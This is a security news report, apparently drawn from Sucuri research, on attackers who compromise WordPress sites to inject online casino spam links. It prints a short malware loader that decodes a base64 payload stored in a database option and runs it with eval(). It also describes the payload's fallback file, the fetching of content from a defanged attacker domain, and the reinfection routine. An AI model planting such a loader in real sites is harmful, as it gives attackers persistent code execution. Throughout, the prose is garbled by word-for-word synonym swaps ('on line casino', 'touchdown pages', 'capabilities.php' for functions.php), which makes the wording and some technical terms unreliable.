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Threat Actors Actively Hacking Websites to Inject Malicious Links and Boost their SEO

Posted on November 10, 2025November 10, 2025 By CWS

Cybercriminals are more and more focusing on web sites to inject malicious hyperlinks and enhance their SEO rankings by means of subtle blackhat search engine optimization techniques.

This marketing campaign primarily focuses on on-line on line casino spam, which has grow to be essentially the most prevalent sort of spam content material affecting compromised web sites.

Attackers exploit vulnerabilities in WordPress installations to insert spam content material selling on-line casinos, notably these focusing on worldwide markets the place playing stays closely regulated.

The attackers make use of a number of methods to keep up persistence and evade detection. They hijack respectable web site pages by creating duplicate directories with similar names, successfully changing authentic content material with spam-filled touchdown pages.

When guests or engines like google try to entry pages, they’re redirected to bogus directories containing hyperlinks to undesirable on line casino web sites.

This method exploits how Apache and Nginx net servers resolve filesystem paths earlier than handing requests to WordPress rewrite engines.

Sucuri safety researchers recognized a very subtle variant of this malware that includes a number of layers of redundancy.

The malicious code is strategically planted in each theme and plugin information to make sure survival even when one part is found.

Fairly than creating simply detectable spam directories, this superior model shops its payload throughout the WordPress database utilizing misleading possibility names.

Multi-Layered An infection Mechanism

The an infection operates by means of intelligent database manipulation and dynamic content material fetching.

Researchers found malicious code embedded on the backside of the theme’s capabilities.php file.

Cloaked Content material (Supply – Sucuri)

The code retrieves a base64-encoded payload from the database utilizing the choice title wp_footers_logic and executes it by means of PHP’s eval() perform:-

$cloak = get_option(‘wp_footers_logic’);
if ($cloak) {
$decoded = base64_decode($cloak);
eval($decoded);
}

If eval() is disabled, the malware writes the payload to wp-content/cache/model.dat as a fallback mechanism. The decoded payload screens incoming requests for particular URL paths, checking for cached spam content material.

When triggered, it fetches content material from attacker-controlled domains like browsec[.]xyz. To make sure persistence, attackers plant reinfection code in extra plugin information. This code periodically searches for distinctive markers.

If markers are lacking, the code robotically reappends the malicious payload to each the theme’s capabilities.php file and the first file of the primary energetic plugin, demonstrating subtle search engine optimization spam campaigns.

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Cyber Security News Tags:Actively, Actors, Boost, Hacking, Inject, Links, Malicious, SEO, Threat, Websites

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